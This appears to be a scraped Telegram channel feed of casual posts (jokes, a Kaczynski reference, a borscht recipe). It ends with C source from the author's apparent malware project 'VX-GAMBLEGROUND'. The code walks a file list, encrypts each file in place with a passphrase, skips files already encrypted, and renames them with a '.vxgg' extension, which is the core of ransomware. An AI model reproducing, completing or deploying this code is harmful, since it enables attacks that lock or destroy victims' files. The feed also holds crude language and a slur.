This media is not supported in your browser
VIEW IN TELEGRAM
I've done this so many times as a kid and never learned from it somehow
🤝1
This media is not supported in your browser
VIEW IN TELEGRAM
I need to go do the 4 S's:
Shit
Shower
Shave
Stalk the night
Shit
Shower
Shave
Stalk the night
DUMB SHIT MISCHIEF AND MALFEASANCE EDITION
I need to go do the 4 S's: Shit Shower Shave Stalk the night
We do be scaling roofs and shit
Nothing better than singing to the midnight moon
i think psyxhe is in his kaczynski phase
DUMB SHIT MISCHIEF AND MALFEASANCE EDITION
i think psyxhe is in his kaczynski phase
Just getting in touch with my antisocial side again
🎉2
DUMB SHIT MISCHIEF AND MALFEASANCE EDITION
Made a huge pot of borsch and I have 6 bowls worth in the fridge
This shit slaps after putting a little bit of salt and vinegar in it
🎉1
I do not handle passive-aggressiveness well
Made the encryption function in VX-GAMBLEGROUND less retarded by actually using header files for their purpose
//// In "encryption.c"
int encryptvxgg(const struct nodelist *list, const char *passphrase) {
int fd = -1;
regex_t encext;
regcomp(&encext, "(.+\\.vxgg)$", REG_EXTENDED | REG_ICASE | REG_NEWLINE);
// Encrypt everything
for(const struct nodelist *p = list; p != NULL; p = p->next) {
if(p->fullpath == NULL) // Make sure I don't accidentally do anything with that last element
continue;
if(regexec(&encext, p->fullpath, 0, NULL, 0) != REG_NOMATCH) // Don't encrypt already encrypted files
continue;
fd = open(p->fullpath, O_RDWR);
if(fd < 0) {
#ifdef TESTING
error(0, errno, "<encryptvxgg> Could not open \"%s\" for encryption", p->fullpath);
#endif
continue;
}
passencblock(fd, passphrase);
close(fd);
#ifndef TESTING
rename_format(p->fullpath, "%s.vxgg", p->fullpath);
#else
rename_format(p->fullpath, "%s_%s.vxgg", p->fullpath, passphrase);
#endif
}
return 0;
}
//// in "VX-GAMBLEGROUND.c"
int scanundencrypt(void *passed) {
struct sande *p = (struct sande *)passed;
p->scanned = scanfiles(p->STARTPATH, p->cmp);
encryptvxgg(p->scanned, p->passphrase);
return 0;
}